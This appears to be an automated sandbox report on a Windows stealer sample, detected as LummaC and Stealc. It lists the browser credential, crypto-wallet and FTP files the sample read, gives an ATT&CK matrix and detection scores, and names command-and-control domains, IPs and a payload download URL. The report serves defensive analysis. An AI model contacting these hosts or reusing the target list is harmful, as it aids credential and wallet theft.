Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000001.00000003.2348831866.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BVGvbpplT8.exe PID: 4060, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BVGvbpplT8.exe PID: 4060, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2625371744.0000000000451000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2570990607.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: O215CKAM4VJZ3EV7.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	751 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	361 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BVGvbpplT8.exe	54%	Virustotal		Browse
BVGvbpplT8.exe	63%	ReversingLabs	Win32.Trojan.Generic
BVGvbpplT8.exe	100%	Avira	TR/Crypt.XPACK.Gen
BVGvbpplT8.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
sustainskelet.lat	unknown	unknown	false	high
crosshuaht.lat	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
aspecteirs.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high
discokeyus.lat	unknown	unknown	false	high
energyaffai.lat	unknown	unknown	false	high
necklacebudi.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
energyaffai.lat	false	high
https://lev-tolstoi.com/api	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeZ	BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/p	BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/subscriber_agreement/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/ice.	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.valvesoftware.com/legal.htm	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpNE	O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/P	BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/e	BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/	BVGvbpplT8.exe, BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/points/shop/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BVGvbpplT8.exe, 00000001.00000003.2320260078.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apigz2s	BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/privacy_agreement/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php2E	O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/aMX	O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/about/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/my/wishlist/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/ms	BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://help.steampowered.com/en/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
